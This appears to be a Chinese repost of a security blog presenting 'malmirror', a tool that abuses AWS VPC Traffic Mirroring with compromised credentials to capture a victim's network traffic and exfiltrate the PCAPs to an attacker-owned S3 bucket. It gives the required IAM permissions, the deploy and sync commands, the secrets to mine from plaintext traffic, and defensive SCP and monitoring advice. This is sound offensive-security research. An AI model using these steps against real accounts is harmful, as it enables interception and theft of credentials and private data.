天天看點

端口鏡像 流量過濾_在 AWS 雲環境中濫用 VPC 流量鏡像抓取網絡流量

端口鏡像 流量過濾_在 AWS 雲環境中濫用 VPC 流量鏡像抓取網絡流量
端口鏡像 流量過濾_在 AWS 雲環境中濫用 VPC 流量鏡像抓取網絡流量

雲環境下的網絡檢測問題

人們可能希望監視雲環境中的網絡流量有很多原因——出于攻擊和防禦的目的。被動的網絡檢查在雲環境中可能很困難,而且在這之前需要對網絡配置進行重大修改,以確定每台主機都被監控,并且不會被惡意使用者繞過。這意味着作為一個攻擊者,監視整個網絡會産生數量難以置信的噪聲,而且破壞任何東西也變得非常危險。

對于在雲端進行通用網絡檢查遇到的困難,滲透測試人員采用了其他更簡單的方法,比如審查 Elastic Load Balancer 通路日志。這些日志可以為 你提供一些資訊,但與全面的網絡流量檢查相比,這些日志裡面的資訊非常有限。

然而,AWS 最近在今年六月的 re: Inforce 上釋出了一個被動網絡檢測的新功能,稱為“ VPC 流量鏡像”。使用這個新特性,我們建立了一個名為“ malmirror”的腳本,用于部署必要的基礎設施來鏡像和提取 VPC 流量。

端口鏡像 流量過濾_在 AWS 雲環境中濫用 VPC 流量鏡像抓取網絡流量

VPC  流量鏡像: 一種潛在的 AWS 網絡監測解決方案

VPC  流量鏡像是在 VPC 中複制 EC2執行個體的入站和出站流量,而不需要在執行個體中安裝任何東西。這些重複的流量通常會被發送到類似于網絡入侵預防系統伺服器(IDS)之類的地方進行分析和監控。

随着 VPC 流量鏡像的釋出,AWS 中的 VPC 網絡檢測變得更加容易,無論是進攻還是防守。現在隻需要一些 AWS API 調用(以及使用這些 API 的必要權限) ,就可以在 AWS VPC 中監視網絡流量。

端口鏡像 流量過濾_在 AWS 雲環境中濫用 VPC 流量鏡像抓取網絡流量

惡意 VPC 流量鏡像的影響及其可能性

惡意的 VPC  流量鏡像可能産生極大的影響,因為在 VPC  内移動的網絡流量通常包含對攻擊者有用的敏感資訊。實作惡意的 VPC 流量鏡像的可能性也非常高,因為通過 VPC 往往有大量的明文流量。使用明文流量的一個常見原因是,在流量鏡像之前,流量不太可能被探測到,是以風險不大。

這方面的一個例子是今年1月釋出的一個特性,即用于網絡負載均衡的 TLS 終止。通常的做法是,環境在其負載均衡器處終止 TLS,然後以明文形式将請求傳遞給後端伺服器。這意味着在 VPC 中将會有大量的明文流量被我們惡意的 VPC 鏡像抓取。關于負載均衡器的 TLS 終止的更多資訊可以在這裡找到,關于最佳實踐的一些讨論可以在這裡找到。

由于 TLS 對性能的巨大影響,是以許多公司還将在其内部網絡中使用明文協定。以前做這些事情感覺很安全,尤其是知道傳統的中間人攻擊 或 ARP 欺騙變的不可能發生。

由于這些原因,我們可以合理地假設,作為攻擊者,在流量鏡像攻擊期間,我們至少會獲得一些明文流量。

端口鏡像 流量過濾_在 AWS 雲環境中濫用 VPC 流量鏡像抓取網絡流量

使用 AWS 憑證部署惡意鏡像

作為一家主要關注攻擊性研究的公司,我們希望将這一過程自動化,以使其能夠快速、簡單和可重複的執行。是以,出于這個原因,我們編寫了一個概念驗證腳本,它将接受 AWS 憑證作為輸入參數,并部署必要的基礎設施,以便在目标 VPC-malmirror 中開始對所有支援的 EC2執行個體進行鏡像。值得注意的是,VPC 流量鏡像隻支援由 AWS Nitro 系統驅動的 EC2執行個體類型,VPC 鏡像目标必須與被鏡像的任何主機在同一個 VPC 中。

在接下來的幾節中,我們将介紹 malmirror 的工作原理、它的功能以及如何分析提取資料。這個腳本可以在我們的 GitHub 上找到。

malmirror 是如何工作的

malmirror 将以下資源部署到一個賬戶中:

·将流量鏡像到的 EC2執行個體

·該 EC2執行個體的 EC2安全組

·一個 VPC 鏡像目标,指向已建立的 EC2執行個體

·配置為鏡像所有流量的 VPC 鏡像過濾器

·在這個帳戶中的每個支援的 EC2執行個體的 VPC 鏡像會話

端口鏡像 流量過濾_在 AWS 雲環境中濫用 VPC 流量鏡像抓取網絡流量

一個簡單的圖表示範了在将鏡像基礎結構部署到一個小型 VPC 中之後,該小型 VPC 中的流量流可能是什麼樣的(請注意,為了簡單起見,該圖中遺漏了許多資源)。

在一切都部署完畢後,流量将開始鏡像到建立好的 EC2執行個體。Ec2執行個體将開始偵聽并以 PCAP 格式記錄接收到的所有鏡像網絡流量。在執行個體上本地存儲了大約100mb 的資料之後,它将自動将該資料轉移到 你選擇的 S3 存儲桶中(可能在 你自己的 AWS 帳戶中) ,并從系統中删除本地檔案。這樣可以防止執行個體耗盡磁盤空間,并允許我們以自動的方式提取鏡像流量。請注意,100mb 的限制是任意設定的,對于一些流量較大的網絡來說可能太小了。之是以要以這種方式提取流量,是因為似乎沒有一個簡單的方法來鏡像交叉帳戶的流量,這似乎是一個可靠的方式來確定資料轉移到外部環境。

由于流量正在被轉移到 S3 存儲桶中, 你可以在本地下載下傳以便進行分析。一個簡單的方法是使用 AWS CLI 提供的 S3“同步”指令,這樣 你隻需下載下傳上次與 存儲桶同步時丢失的資料。

端口鏡像 流量過濾_在 AWS 雲環境中濫用 VPC 流量鏡像抓取網絡流量

使用 malmirror 的先決條件

要使用 malmirror,你需要:

一個用于将鏡像流量轉移到的 S3 存儲桶 (這個存儲桶可能在你自己的 AWS 賬戶中)

存儲在 AWS CLI 配置檔案中的AWS 憑證(可能屬于 你自己 AWS 帳戶中的使用者)。這個使用者應該有通路将 PCAP 檔案提取到的 S3 存儲桶的 write/s3:PutObject 權限

存儲在 AWS CLI 配置檔案中的帶有以下 IAM 權限 的AWS 憑證(這個憑證是你将鏡像部署到的目标帳戶) :

·ec2:DescribeInstances

    ·識别要鏡像的 EC2執行個體

·ec2:RunInstances

    ·建立一個将作為 VPC 鏡像目标的 EC2執行個體

·ec2:CreateSecurityGroup

    ·為我們的 EC2執行個體建立安全組

·ec2:AuthorizeSecurityGroupIngress

    ·允許入站通路我們的 EC2執行個體

·ec2:CreateTrafficMirrorTarget

    ·将 EC2執行個體指定為 VPC 鏡像目标

·ec2:CreateTrafficMirrorSession

    ·要為我們想要鏡像的每個 EC2執行個體建立鏡像會話

·ec2:CreateTrafficMirrorFilter

    ·為鏡像會話建立流量過濾器

·ec2:CreateTrafficMirrorFilterRule

    ·要指定将所有流量鏡像到我們的 EC2執行個體

端口鏡像 流量過濾_在 AWS 雲環境中濫用 VPC 流量鏡像抓取網絡流量

使用 malmirror

malmirror 包括兩個腳本, deploy-malmirror.py 和 sniff.py。部署腳本在啟動鏡像資源時使用嗅探腳本,是以 你永遠不需要手動運作 sniff.py。

要開始使用 malmirror 鏡像流量,請遵循以下步驟:

1. git 克隆并跳到它所在的目錄

git clone https://github.com/RhinoSecurityLabs/Cloud-Security-Research && cd Cloud-Security-Research/AWS/malmirror/

2. (可選的步驟) malmirror 是一個早期的概念驗證,是以 你可能需要進行一些修改,使其更适合 你的場景,例如:

修改 VPC 鏡像目标的 EC2執行個體類型

修改檔案大小限制,在這個限制下,檔案将被提取到 S3 存儲桶并在本地删除

将 VPC 鏡像目标更改為使用網絡負載均衡器

限制或修改鏡像目标的安全組規則

将EC2執行個體類型添加到基于 Nitro 的寫死清單中

進一步細化 VPC 鏡像過濾規則

3. 運作 malmirror,坐下來喝一杯咖啡,稍等片刻

python3 deploy-malmirror.py --profile CompromisedCreds --s3-profile S3Creds --region us-west-2 --bucket bucket-for-exfil

端口鏡像 流量過濾_在 AWS 雲環境中濫用 VPC 流量鏡像抓取網絡流量

上圖顯示了我們的惡意 VPC 鏡像基礎設施被部署到目标帳戶。注意,這裡使用了腳本參數的簡寫。

4. 當檔案開始到達 S3存儲桶時,要下載下傳這些檔案(到它們自己的檔案夾中) ,但請記住,存儲桶将被不斷填滿,直到你從目标環境中拆除鏡像基礎架構為止

aws s3 --profile profile-that-owns-the-bucket sync s3://bucket-for-exfil ./

現在 你已經在本地擁有了一些 PCAP 檔案, 你可以分析和使用它們。

端口鏡像 流量過濾_在 AWS 雲環境中濫用 VPC 流量鏡像抓取網絡流量

離線流量分析

将 PCAP 檔案同步到本地系統後, 你就可以開始分析這些檔案了。你會發現有些流量是加密的,有些流量是不加密的。  你可能無法對加密資料做任何事情,但是明文流量有可能導緻許多沒有用的發現。要查找的常見内容包括 API 密鑰、身份驗證令牌 、cookie、使用者名/密碼、 PII/PHI、檔案和 IP 位址/主機名。有數不清的其他事情你可能想要尋找,但這些東西可以給你一個很好的起點。

這裡有一些工具可以幫助我們:

· Wireshark/tshark

·dsniff

·ngrep

無論你選擇哪種分析器,都可以自動同步來自 S3 的 PCAP 檔案,并在檔案下載下傳時自動分析過程。這可以通過一個事先設定好的正規表達式或字元串比對清單來完成,這樣可以找到機密資訊,并且對于每個下載下傳的新檔案,找出任何與這些比對的内容。因為看起來人們傾向于用他們自己的方式進行分析,是以自動分析并沒有内置到這個工具中。

端口鏡像 流量過濾_在 AWS 雲環境中濫用 VPC 流量鏡像抓取網絡流量

限制和警告

我們已經在整個部落格中提到了其中的一些觀點,但是在執行這種攻擊時依然需要考慮一些事情。由于這是一個概念驗證腳本,并且此時它還沒有經過嚴格的測試過程,是以檢視這些限制和警告特别是非常重要的。

隻有基于 Nitro 的 EC2執行個體類型才可以對其流量進行鏡像(可以查找這個清單)

VPC  中任何具有正确路由的内容都可以向鏡像目标 EC2執行個體發送任意流量,因為它允許來自所有内部網絡範圍(10.0.0.0 / 8,172.16.0.0 / 12,192.168.0.0 / 16)的 UDP 端口上的入站流量

因為所有(也隻有)内部 IP 範圍都是白名單的鏡像目标,是以我們将無法鏡像使用 VPC 内部網絡的非标準 IP 範圍的網絡中的流量

如果帳戶中已經部署了鏡像基礎設施,則 malmirror 可能會失敗。這可以通過添加一些錯誤處理和重試功能來避免

端口鏡像 流量過濾_在 AWS 雲環境中濫用 VPC 流量鏡像抓取網絡流量

如何防禦這種攻擊

防止這種攻擊的第一步是意識到并嘗試防止 你的 AWS 環境遭到破壞。我們之前釋出了一篇博文,介紹了 AWS 密鑰被攻破的一些常見方式,你可以在這裡找到。

如果 你不在 你的帳戶中使用 VPC 流量鏡像特性,那麼 你可能會使用服務控制政策(Service Control Policy,SCP)在組織層面拒絕通路必要的權限,如下所示:

{"Version":"2012-10-17","Statement":[{"Sid":"DenyVPCTrafficMirroring","Effect":"Deny","Action":["ec2:CreateTrafficMirrorTarget","ec2:CreateTrafficMirrorSession","ec2:CreateTrafficMirrorFilter","ec2:CreateTrafficMirrorFilterRule","ec2:DeleteTrafficMirrorTarget","ec2:DeleteTrafficMirrorSession","ec2:DeleteTrafficMirrorFilter","ec2:DeleteTrafficMirrorFilterRule","ec2:ModifyTrafficMirrorSession","ec2:ModifyTrafficMirrorFilterNetworkServices","ec2:ModifyTrafficMirrorFilterRule"],"Resource":"*"}]}

這個 SCP 将阻止任何應用它的帳戶使用這些 API,即使試圖這樣做的使用者和角色在該帳戶中擁有正确的 IAM 權限。如果 你确實在 你的環境中使用了 VPC 流量鏡像,那麼 你應該使用諸如 Amazon EventBridge 之類的東西來嚴格監視這些 API 的調用,以確定新的鏡像資源不會被建立,現有的鏡像資源不會被修改或删除。無論是否使用鏡像, 你還可以監視帳戶中可疑的 EC2執行個體的建立。肯定還有其他方法可以檢測并防止這種類型的攻擊,但許多方法是特定于上下文的,并且可能根據環境的設定而有所不同。作為一般的經驗法則,最好的做法是盡量減少在 VPC 中傳輸明文流量。

端口鏡像 流量過濾_在 AWS 雲環境中濫用 VPC 流量鏡像抓取網絡流量

總結

VPC  流量鏡像使攻擊者和防禦者在他們的 AWS VPC 中更容易監視網絡流量,但是過去的常見做法已經導緻在這些網絡中傳輸着大量的明文流量。這個新功能還有很多可能性需要在 AWS 中探索,是以看看它會帶來什麼是令人興奮的。

如果你還沒有看過,你可以在我們的 GitHub 上找到 malmirror。

如果 你擔心 AWS 基礎設施的安全性,可以考慮執行 AWS 滲透測試,以确定 你的環境中的弱點和漏洞。

注:本文參考自rhinosecuritylabs.com

端口鏡像 流量過濾_在 AWS 雲環境中濫用 VPC 流量鏡像抓取網絡流量
端口鏡像 流量過濾_在 AWS 雲環境中濫用 VPC 流量鏡像抓取網絡流量